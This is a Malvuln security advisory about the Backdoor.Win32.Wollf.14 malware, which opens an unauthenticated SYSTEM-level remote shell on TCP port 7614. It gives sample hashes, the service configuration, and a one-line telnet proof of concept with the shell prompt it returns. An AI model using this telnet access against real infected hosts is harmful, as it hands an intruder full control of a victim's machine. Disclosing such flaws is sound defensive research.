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Backdoor.Win32.Wollf.14 MVID-2021-0055 Missing Authentication

Backdoor.Win32.Wollf.14 MVID-2021-0055 Missing Authentication
Posted Jan 27, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Wollf.14 malware has a backdoor on TCP/7614 that does not require any authentication.

tags | exploit, tcp
systems | windows
SHA-256 | 2f11b22f4a81eedb7df75e8958cdd82cecb3055d43ca8789947305c47f9b576a

Backdoor.Win32.Wollf.14 MVID-2021-0055 Missing Authentication

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ccd3e54eb76b3349db57481a0fe68b35.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.14
Vulnerability: Missing Authentication
Description: Wollf.14 listens on TCP port 7614 and creates a service "wrm" running as SYSTEM. The backdoor then allows casual intruders to take control of the infected system as there is no authentication required.

C:\>sc qc wrm
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wrm
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\system32\wrm.exe -start
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wollf Remote Manager
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


Type: PE32
MD5: ccd3e54eb76b3349db57481a0fe68b35
Vuln ID: MVID-2021-0055
Dropped files: wrm.exe
Disclosure: 01/26/2021

Exploit/PoC:
TELNET BACKDOORED_HOST_IP 7614

"Wollf Remote Manager" v1.4
Code by wollf, http://www.xfocus.org

[DESKTOP-BLAHXO@C:\WINDOWS\system32]#


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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